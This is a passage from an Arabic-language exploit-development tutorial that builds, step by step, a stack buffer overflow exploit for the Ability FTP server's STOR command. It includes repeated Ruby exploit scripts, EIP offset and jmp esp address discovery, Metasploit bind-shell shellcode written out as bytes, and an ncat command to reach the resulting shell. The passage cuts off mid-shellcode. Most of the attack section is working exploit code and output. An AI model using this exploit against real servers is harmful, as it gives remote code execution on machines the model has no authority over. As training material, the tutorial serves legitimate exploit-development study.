s.send("USER ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Password."
s.send("PASS ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Evil buffer."
s.send("APPE " + buffer + "\r\n", 0)
total = s.send("STOR " + buffer + "\r\n", 0)
s.close

#-- Exploit Info --#
puts "---------------------"
puts "[+] " + "Buffer length: " + "#{buffer.size} bytes."
puts "[+] " + "Total exploit size: " + "#{total} bytes."
puts "[+] " + "Done!"

[button size=”small” color=”blue” url=”http://www.security4arabs.com/files/bof-tut/Part2/files/Ability-STOR/ability-STOR1.rb”]Download ability-STOR1.rb[/button]

بعد تحميل الملف, اعطه صلاحيات التنفذ ثم تفذه , وستكرر هذه العملية في كل الملفات القادمة

chmod +x ability-STOR1.rb
ruby ability-STOR1.rb

ستجد شكل المنقح كالتالي, ويعني أنه حصل خطأ وتجاوز في الذاكرة. (اضغط على الصورة للتكبير)

Figure 2.1a

– لاحظ في الصورة أننا وصلنا لـ EIP register حيث يحتوي على “41414141” -و التي تعني “AAAA” بالـ Hexadecimal- وهو محور عملنا وأول أهم الأمور في العملية.
– لاحظ في الصورة أننا وصلنا إلى ESP register – سنتطرق لهذا لاحقا

[box style=”alert”]
في كل مرة سننفذ السكريبت يجب أن نعمل إعادة تشغيل للبرنامج من خلال المنقح


ثم تكمل تشغيله

[/box]

 
 

3. Finding EIP exact address

ذكرنا أن الـ EIP هو محور عملنا وأننا لو تحكمنا به سنتحكم بسير عمل البرنامج لأنه المؤشر الذي يشير إلى العنوان القادم الذي سيتم تنفيذ محتواه. بما أننا أرسلنا مجموعة كبيرة من الـ A’s فإننا لا نعرف بالظبط ما هو عنوان EIP .. دعنا نقسم الـ 2000 إلى 4 ونجعلها 500 حرف A و 500 حرف B و 500 حرف C و 500 حرف D و ننفذ السكريبت وننظر ماذا حدث في الذاكرة.


#!/usr/bin/env ruby
#======================================================#
# Ability FTP server exploit #
# Security4arabs.com: Buffer Overflow tutorials #
# Coded By: Sabri Saleh - KING SABRI | @KINGSABRI #
#======================================================#
require 'socket'

buffer = "A" * 500
buffer += "B" * 500
buffer += "C" * 500
buffer += "D" * 500

#-- Connection --#
host = '10.0.0.76'
port = 21
s = TCPSocket.open(host, port)
s.recv(1024)
puts "[+] " + "Sending Username."
s.send("USER ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Password."
s.send("PASS ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Evil buffer."
s.send("STOR " + buffer + "\r\n", 0)
total = s.send("STOR " + buffer + "\r\n", 0)
s.close

#-- Exploit Info --#
puts "---------------------"
puts "[+] " + "Buffer length: " + "#{buffer.size} bytes."
puts "[+] " + "Total exploit size: " + "#{total} bytes."
puts "[+] " + "Done!"

[button size=”small” color=”blue” url=”http://www.security4arabs.com/files/bof-tut/Part2/files/Ability-STOR/ability-STOR2.rb”]Download ability-STOR2.rb[/button]

Figure 3a

– لاحظ أن الـ EIP فيه قيمة “42424242” أي BBBB وهذا يعني أن عنوان الـ EIP في ال 500 الثانية,, نظرة عن قرب

Figure 3b


جميل, اتضحت الصورة الأن. لكن ماهو ليس بجميل هو أنه من الصعب تكرار وتقسيم الحروف إلى أجزاء أصغر فأصغر حتى نصل إلى المسافة الحقيقة. ولحل هذه المشكلة ننتقل للفقرة التالية

3.1. Sending unique pattern string

الأن جاء دور الأداة Buffer Overflow Kit لكي نخرج 2000 حرف مميزين ثم بعد ذلك نأخذ القيمة الموجودة في الـ EIP ونبحث عنها في الـ 2000 حرف لنعرف بعد كم حرف(byte) يقعد الـ EIP بالظبط


ruby bofk-cli.rb --pattern-create 2000
---[ Pattern create ]-----------------------------------------------------------
[+] Size: 2000

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co
------------------------------------------------------------------------------

لنضع هذا في السكريبت وننفذه

#!/usr/bin/env ruby
#======================================================#
# Ability FTP server exploit #
# Security4arabs.com: Buffer Overflow tutorials #
# Coded By: Sabry Saleh - KING SABRI | @KINGSABRI #
#======================================================#
require 'socket'

buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"

#-- Connection --#
host = '10.0.0.76'
port = 21
s = TCPSocket.open(host, port)
s.recv(1024)
puts "[+] " + "Sending Username."
s.send("USER ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Password."
s.send("PASS ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Evil buffer."
s.send("STOR " + buffer + "\r\n", 0)
total = s.send("STOR " + buffer + "\r\n", 0)
s.close

#-- Exploit Info --#
puts "---------------------"
puts "[+] " + "Buffer length: " + "#{buffer.size} bytes."
puts "[+] " + "Total exploit size: " + "#{total} bytes."
puts "[+] " + "Done!"

[button size=”small” color=”blue” url=”http://www.security4arabs.com/files/bof-tut/Part2/files/Ability-STOR/ability-STOR3.rb”]Download ability-STOR3.rb[/button]

لننظر إلى وضع الـ EIP Register الأن

Figure 3.1

الأن ننسخ قيمة الـ EIP و في حالتنا “42336742” ونبحث عنها من ضمن الـ Pattern الذي أرسلنا سابقا بهذه الطريقة


ruby bofk-cli.rb --pattern-offset 42336742
---[ Pattern offset ]----------------------------------------------------------
[+] Actual pattern length: 20280 chars.
[+] Matches: 1 times.

969
------------------------------------------------------------------------------

الأن عرفنا أننا نصل إلى الـ EIP بعد 969 byte.

[box style=”info”]
هناك أداتان في مشروع الميتا سبلويت تقوم بنفس ما تقوم به أداتنا لكننا نجمع الأدوات المتفرقة لتكون في مكان واحد فأحيانا لا نحتاج الميتاسبلويت برمته في عملنا إلا لهذه المهمة.

./pattern_create.rb 200


./pattern_offset.rb 42336742

[/box]

3.2. Colorizing registers

هذه الخطوة على الرغم من بساطتها إلا أنها مهمة لضمان أن عملك صحيح حتى هذه المرحلة والتي هي الفاصل للإنتقال للخطوة الهامة القادمة.
في هذه الخطوة سنقوم بإرسل 969 حرف A و نقوم بوضع BBBB في الـ EIP وبقية ال 2000 سنضعها حرف C. هذه أعتبرها تلوين للـ Registers لكي نعرف هل عملنا صحيح أم لا, هل فعلا حسبنا عنوان الـ EIP بشكل صحيح أم لا.

#!/usr/bin/env ruby
#======================================================#
# Ability FTP server exploit #
# Security4arabs.com: Buffer Overflow tutorials #
# Coded By: Sabri Saleh - KING SABRI | @KINGSABRI #
#======================================================#
require 'socket'

junk = "A" * 969
eip = "B" * 4
rest = "C" * (2000 - (eip + junk).size)

buffer = junk + eip + rest

#-- Connection --#
host = '10.0.0.76'
port = 21
s = TCPSocket.open(host, port)
s.recv(1024)
puts "[+] " + "Sending Username."
s.send("USER ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Password."
s.send("PASS ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Evil buffer."
s.send("STOR " + buffer + "\r\n", 0)
total = s.send("STOR " + buffer + "\r\n", 0)
s.close

#-- Exploit Info --#
puts "---------------------"
puts "[+] " + "Buffer length: " + "#{buffer.size} bytes."
puts "[+] " + "Total exploit size: " + "#{total} bytes."
puts "[+] " + "Done!"

[button size=”small” color=”blue” url=”http://www.security4arabs.com/files/bof-tut/Part2/files/Ability-STOR/ability-STOR4.rb”]Download ability-STOR4.rb[/button]

شكل الذكرة سيكون كالتالي

Figure 3.2

رائع,,

 

4. Find memory space for shellcode

بعد أن تأكدنا أننا نصل إلى الـEIP بنجاح جاء وقت أننا نبحث عن مكان في الذاكرة لكي نضع فيه الـ Shellcode هذا المكان الذي سيقفز إليه الـ EIP أينما كان لتنفيذ الكود الذي نريده سواء كان فتح إتصال أو إضافة مستخدم أو حتى تشغيل الألة الحاسبة 🙂

4.1. Find the proper address

هناك عدة أماكن من الممكن أنبحث فيها ويجب أن تتميز هذه الأماكن بصفات معينة سواء كلها أو بعضها لكن بعضها مهم ويجب توافره.
ماهي الأماكن والملفات التي يمكن أن نبحث فيها عن مكان لوضع الـ Shellcode
– ملفات الـ dll الخاصة بالنظام مثل: user32.dll , kernel32.dll , shell32.dll
– ملفات الـ dll الخاصة بالبرنامج إن وجدت
– ملف الـ exe الخاص بالبرنامج نفسه – يعيبه أنه يحتوي على الكثير من الـ bad characters أحيانا
ماهي الشروط التي يجب توافرها
– ألا تكون خاصية الـ ALSR مفعله
– ألا تكون خاصية الـ SafeSEH مفعلة – في حالة Direct stack لن تؤثر وتستطيع أن تهملها
– استخدام ملفات الـ dll الخاصة بالبرنامج مقدمة على استخدام ملفات النظام – لتفادي مشاكل اختلاف إصدارات النظام واللغات والتحديثات
– ألا يبدأ عنوان القفز إلى الملف بثلاثة أصفار (000) تفاديا للـ bad character – وسنعرف ما هو عنوان القفز بعد قليل

لنعرف الملفات التنفيذية التي تعمل مع عمل البرنامج اضغط على زر “e” كما في الصورة


ستظهر هذه النافذة

Figure 5a

سأختار من ضمن الملفات ملف user32.dll
والأن جاء الوقت للبحث عن المكان الذي سنضع فيه الـ shellcode ونجعل الـ EIP يقفز إليه
– إذهب إلى أسفل المنقح

و سنستخدم إضافة mona.py للبحث داخل ملف user32.dll على عنوان مناسب بتنفيذ الأمر التالي , ثم انتظر قليلا

!mona jmp -r esp -n -m USER32.dll

[box style=”tip”]
إذا أردت البحث عن jmp في جميع الملفات دون تحديد dll معين, استخدم الطريقة التالية لكن ستضطر للانتظار وقت أطول قليلا

!mona jmp -r esp -n
[/box]

– اذهب إلى الملف jmp.txt في المسار “C:\Program Files\Immunity Inc\Immunity Debugger\jmp.txt”
ستجد محتوياته تشبه هذه

0x77d8af0a : jmp esp | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.2180 (C:\WINDOWS\system32\USER32.dll)
0x77d6b141 : call esp | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.2180 (C:\WINDOWS\system32\USER32.dll)
0x77d5aa01 : push esp # ret | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.2180 (C:\WINDOWS\system32\USER32.dll)

سنختار العنوان الذي يسبق jmp esp وهو 0x77d8af0a

[box style=”info”]
هل تذكر عندما أشرنا في مرحلة الـ Fuzzing أننا استطعناالوصوع إلى EIP و ESP ؟ لهذا نحن بحثنا عن jmp esp ولو وجدنا أننا وصلنا إلى أي register اخر مثلا “EBX” لاستبدلنا esp به وستصبح jmp ebx.
[/box]

[box style=”tip”]
هناك طرق عديدة أخرى للقفز من مكان إلى مكان و -بإذن الله- سأشرحها في موضوع مستقل. حتى الأن أريدك أن تركز على jmp وإذا استوعبت الأمر جيدا, جرب أن تستخدم عنوان “call esp” و الذي هو 0x77d6b141 وتعيد الخطوات بداية من هنا. فقط انهي الشرح معي خطوة بخطوة ثم ارجع إلى هذه النقطة وجرب بنفسك.
[/box]

 

5. Jump to the shellcode

بعد أن عرفنا العنوان الذي سنقفز إليه في الذاكرة لكي نضع الـ Shellcode يجب أن نحوله إلى little endian character حتى هي الصيغة التي تقرأ بها معالجات Intel من الذاكرة -هناك تفصيل لهذا ولسنا بصدده- إذا كيف نحول الـ byte إلى Little endian format؟.

للتوضيح, لو كان عند 4 bytes بهذا الشكل ABCD والتي تعني \x41\x42\x43\x44 فإن صيغة الـ little endian ستكون \x44\x43\x42\x41.

للقيام بهذه العملية بشكل أسرع وبدون الوقوع في أخطاء أثناء عملنا, قمت بعمل أداة تقوم بتحول العنوان المعطى إلى little endian تجدها في أداة Buffer overflow Kit.


ruby bofk-cli.rb --hex2lend 0x77d8af0a
---[ Little endian format ]----------------------------------------------------
\x0a\xaf\xd8\x77
------------------------------------------------------------------------------

جميل, الأن لنضع هذه القيمة في الـ EIP ونرى هل سيقفز إلى هذا العنوان أم لا.
ستلاحظ أننا أضفنا في السكريبت متغيران
nop: وقيمتها \x90 وهي تعني No Operation حيث لا يقوم المعالج بعمل أي شئ خلال مروره بهذه المجموعة من البايتات و تواجدها مهم قبل الـ shellcode.
shellcode: هنا أضفنا 370 بايت من الحرف S (قيمة حرف S بالهيكسا هي \x53) وهي قيمة مقاربة لحجم الـ shellcode الحقيقي من الميتاسبلويت وسنستبلدها لاحقا بواحد حقيقي.

بعد تشغيل البرنامج و قبل أن تنفذ السكريبت قم بالبحث عن العنوان 0x77d8af0a في البرنامج وضع عنده نقطة وقوف بالطريقة التالية
– اضغط Ctrl + G وضع فيها القيمة 0x77d8af0a
– في الشاشة العلوية اليسرى, ستجد المؤشر يقف عند jmp esp. اضغط F2
الأن نفذ السكريبت


#!/usr/bin/env ruby
#======================================================#
# Ability FTP server exploit #
# Security4arabs.com: Buffer Overflow tutorials #
# Coded By: Sabri Saleh - KING SABRI | @KINGSABRI #
#======================================================#
require 'socket'

junk = "A" * 969
eip = "\x0a\xaf\xd8\x77"
nop = "\x90" * 8
shellcode = "S" * 370
rest = "C" * (2000 - (junk + eip + nop + shellcode).size)

exploit = junk + eip + nop + shellcode + rest

#-- Connection --#
host = '10.0.0.76'
port = 21
s = TCPSocket.open(host, port)
s.recv(1024)
puts "[+] " + "Sending Username."
s.send("USER ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Password."
s.send("PASS ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Evil buffer."
s.send("STOR " + exploit + "\r\n", 0)
total = s.send("STOR " + exploit + "\r\n", 0)
s.close

#-- Exploit Info --#
puts "---------------------"
puts "[+] " + "Buffer length: " + "#{exploit.size} bytes."
puts "[+] " + "Total exploit size: " + "#{total} bytes."
puts "[+] " + "Done!"

[button size=”small” color=”blue” url=”http://www.security4arabs.com/files/bof-tut/Part2/files/Ability-STOR/ability-STOR5.rb”]Download ability-STOR5.rb[/button]

ستجد الوضع كالتالي:

Figure 5b

لاحظ لون الـ Breackpoint تغير وهذا يعني أننا وصلنا له بنجاح.
الأن إضغط F7 مرة واحدة وانظر ماذا سيحصل في النافذة العلوية اليسرى

Figure 5c

استمر في الضغط على F7 سترى أن الـ EIP يمشي الأن خلال الـ Shellcode وهو حرف الـ S لو نزلت بالماوس لتسرع العملية ستجد أن في نهاية حرف الـ S هناك حرف C وهي البايتات التي ذيلنا بها الexploit .

رائع!! لنبدأ إذاً في وضع Shellcode حقيقي

 

6. Generate shellcode and exploit

سنستخدم الـ metasploit shllcode من نوع Bind shell على منفذ 5555
بهذه الطريقة
./msfpayload windows/shell_bind_tcp LPORT=5555 R | ./msfencode -a x86 -t ruby

اغلق المنقح وشغل البرنامج لوحدة -دون إدخاله في المنقح- ضع المخرجات في السكريبت ونفذه

6.1. Generate shellcode

اذهب إلى

#!/usr/bin/env ruby
#======================================================#
# Ability FTP server exploit #
# Security4arabs.com: Buffer Overflow tutorials #
# Coded By: Sabri Saleh - KING SABRI | @KINGSABRI #
#======================================================#
require 'socket'

junk = "A" * 969
eip = "\x0A\xAF\xD8\x77" # jmp esp 0x77D8AF0A USER32.dll | use bof-cli.rb -e 0x77D8AF0A
nop = "\x90" * 32
shellcode = #./msfpayload windows/shell_bind_tcp LPORT=5555 R | ./msfencode -a x86 -t ruby (size 368)
"\xba\x7f\x60\xb5\x48\xd9\xee\xd9\x74\x24\xf4\x5d\x33\xc9" +
"\xb1\x56\x31\x55\x13\x03\x55\x13\x83\xed\x83\x82\x40\xb4" +
"\x93\xca\xab\x45\x63\xad\x22\xa0\x52\xff\x51\xa0\xc6\xcf" +
"\x12\xe4\xea\xa4\x77\x1d\x79\xc8\x5f\x12\xca\x67\x86\x1d" +
"\xcb\x49\x06\xf1\x0f\xcb\xfa\x08\x43\x2b\xc2\xc2\x96\x2a" +
"\x03\x3e\x58\x7e\xdc\x34\xca\x6f\x69\x08\xd6\x8e\xbd\x06" +
"\x66\xe9\xb8\xd9\x12\x43\xc2\x09\x8a\xd8\x8c\xb1\xa1\x87" +
"\x2c\xc3\x66\xd4\x11\x8a\x03\x2f\xe1\x0d\xc5\x61\x0a\x3c" +
"\x29\x2d\x35\xf0\xa4\x2f\x71\x37\x56\x5a\x89\x4b\xeb\x5d" +
"\x4a\x31\x37\xeb\x4f\x91\xbc\x4b\xb4\x23\x11\x0d\x3f\x2f" +
"\xde\x59\x67\x2c\xe1\x8e\x13\x48\x6a\x31\xf4\xd8\x28\x16" +
"\xd0\x81\xeb\x37\x41\x6c\x5a\x47\x91\xc8\x03\xed\xd9\xfb" +
"\x50\x97\x83\x93\x95\xaa\x3b\x64\xb1\xbd\x48\x56\x1e\x16" +
"\xc7\xda\xd7\xb0\x10\x1c\xc2\x05\x8e\xe3\xec\x75\x86\x27" +
"\xb8\x25\xb0\x8e\xc0\xad\x40\x2e\x15\x61\x11\x80\xc5\xc2" +
"\xc1\x60\xb5\xaa\x0b\x6f\xea\xcb\x33\xa5\x9d\xcb\xfd\x9d" +
"\xce\xbb\xff\x21\xe5\x88\x89\xc4\x6f\xff\xdf\x5f\x07\x3d" +
"\x04\x68\xb0\x3e\x6e\xc4\x69\xa9\x26\x02\xad\xd6\xb6\x00" +
"\x9e\x7b\x1e\xc3\x54\x90\x9b\xf2\x6b\xbd\x8b\x7d\x54\x56" +
"\x41\x10\x17\xc6\x56\x39\xcf\x6b\xc4\xa6\x0f\xe5\xf5\x70" +
"\x58\xa2\xc8\x88\x0c\x5e\x72\x23\x32\xa3\xe2\x0c\xf6\x78" +
"\xd7\x93\xf7\x0d\x63\xb0\xe7\xcb\x6c\xfc\x53\x84\x3a\xaa" +
"\x0d\x62\x95\x1c\xe7\x3c\x4a\xf7\x6f\xb8\xa0\xc8\xe9\xc5" +
"\xec\xbe\x15\x77\x59\x87\x2a\xb8\x0d\x0f\x53\xa4\xad\xf0" +
"\x8e\x6c\xdd\xba\x92\xc5\x76\x63\x47\x54\x1b\x94\xb2\x9b" +
"\x22\x17\x36\x64\xd1\x07\x33\x61\x9d\x8f\xa8\x1b\x8e\x65" +
"\xce\x88\xaf\xaf"

rest = "C" * (2000 - (junk + eip + nop + shellcode).size)

exploit = junk + eip + nop + shellcode + rest

#-- Connection --#
host = '10.0.0.76'
port = 21
s = TCPSocket.open(host, port)
s.recv(1024)
puts "[+] " + "Sending Username."
s.send("USER ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Password."
s.send("PASS ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Evil buffer."
s.send("STOR " + exploit + "\r\n", 0)
total = s.send("STOR " + exploit + "\r\n", 0)
s.close

#-- Exploit Info --#
puts "---------------------"
puts "[+] " + "Buffer length: " + "#{exploit.size} bytes."
puts "[+] " + "Total exploit size: " + "#{total} bytes."
puts "[+] " + "Done!"

الأن قم بالإتصال على منفذ 5555 بهذه الطريقة
ncat -nvv 10.0.0.76 5555
ستجد النتيجة هي
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Connection refused.

نعم, الShellcode لم يعمل بشكل صحيح وستجد رسالة خطأ خرجت من البرنامج. والسبب هو وجود Bad characters

6.2. Find Bad/Restricted characters

الرجاء مراجعة موضوع (قمت بتحديث الموضوع): إيجاد الـ Bad characters في الـ Shellcode
إيجاد الـ Bad Characters في الـ Shellcode

لن أعيد ماكتبته وهنا سنجرب الـ Bad characters المشهورة والتي يجب تفاديها في أي Shellcode نقوم بعمله وهذه ال characters هي “\x00\x0a\x0d”.

6.3. Real & clean shellcode

الأن, من الميتاسبلويت وبنفس الطريقة السابقة إلا أننا سنزيل الـ Bad characters الذي نريد أن نزيحها
بهذه الطريقة
./msfpayload windows/shell_bind_tcp LPORT=5555 R | ./msfencode -a x86 -b '\x00\x0a\x0d' -t ruby
مخرجاته ستكون

[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)

buf =
"\xda\xd0\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1\x56\xbf\x9d\x28" +
"\xd0\x22\x83\xee\xfc\x31\x7e\x14\x03\x7e\x89\xca\x25\xde" +
"\x59\x83\xc6\x1f\x99\xf4\x4f\xfa\xa8\x26\x2b\x8e\x98\xf6" +
